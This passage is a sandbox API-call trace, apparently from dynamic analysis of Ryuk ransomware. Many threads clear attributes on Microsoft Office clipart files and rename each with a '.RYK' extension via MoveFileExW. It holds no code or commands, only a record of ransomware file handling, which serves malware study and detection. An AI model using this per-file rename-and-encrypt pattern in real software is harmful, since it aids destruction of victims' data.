	[0264.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.652] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3240
	os_tid = 0x37c8

	[0262.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF", dwFileAttributes=0x80) returned 0
	[0262.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.693] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3241
	os_tid = 0x37cc

	[0262.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF", dwFileAttributes=0x80) returned 0
	[0264.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3242
	os_tid = 0x37d0

	[0262.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF", dwFileAttributes=0x80) returned 0
	[0264.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.655] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3243
	os_tid = 0x37d4

	[0262.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF", dwFileAttributes=0x80) returned 0
	[0264.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.657] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.657] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3244
	os_tid = 0x37d8

	[0262.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF", dwFileAttributes=0x80) returned 0
	[0262.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.700] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3245
	os_tid = 0x37dc

	[0262.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF", dwFileAttributes=0x80) returned 0
	[0262.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.702] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.702] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3246
	os_tid = 0x37e0

	[0262.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF", dwFileAttributes=0x80) returned 0
	[0264.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.658] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3247
	os_tid = 0x37e4

	[0262.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF", dwFileAttributes=0x80) returned 0
	[0262.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.706] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3248
	os_tid = 0x37e8

	[0262.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF", dwFileAttributes=0x80) returned 0
	[0264.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.660] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3249
	os_tid = 0x37ec

	[0262.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF", dwFileAttributes=0x80) returned 0
	[0264.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.661] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3250
	os_tid = 0x37f0

	[0264.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF", dwFileAttributes=0x80) returned 0
	[0266.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.070] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3256
	os_tid = 0x3134

	[0264.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF", dwFileAttributes=0x80) returned 0
	[0264.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.665] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.665] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3257
	os_tid = 0xbc8

	[0264.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID", dwFileAttributes=0x80) returned 0
	[0266.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.067] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.067] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3258
	os_tid = 0x3348

	[0264.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID", dwFileAttributes=0x80) returned 0
	[0266.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.071] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.071] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3259
	os_tid = 0x33cc

	[0264.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID", dwFileAttributes=0x80) returned 0
	[0266.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.068] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3260
	os_tid = 0x16d8

	[0264.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID", dwFileAttributes=0x80) returned 0
	[0264.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.670] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3261
	os_tid = 0x24fc

	[0264.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID", dwFileAttributes=0x80) returned 0
	[0264.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.674] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.674] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3262
	os_tid = 0x3458

	[0264.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID", dwFileAttributes=0x80) returned 0
	[0264.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.675] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.676] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3263
	os_tid = 0x34e0

	[0264.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID", dwFileAttributes=0x80) returned 0
	[0264.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0264.677] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0264.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3264
	os_tid = 0x3514

	[0264.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID", dwFileAttributes=0x80) returned 0
	[0266.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.073] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3265
	os_tid = 0x369c

	[0264.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID", dwFileAttributes=0x80) returned 0
	[0266.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.085] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3266
	os_tid = 0x3730

	[0264.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID", dwFileAttributes=0x80) returned 0
	[0266.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.083] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.083] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3267
	os_tid = 0x36d8

	[0266.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID", dwFileAttributes=0x80) returned 0
	[0266.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.088] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.088] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3269
	os_tid = 0x36d4

	[0266.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID", dwFileAttributes=0x80) returned 0
	[0266.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.090] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3270
	os_tid = 0x3658

	[0266.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID", dwFileAttributes=0x80) returned 0
	[0266.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.092] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3271
	os_tid = 0x1674

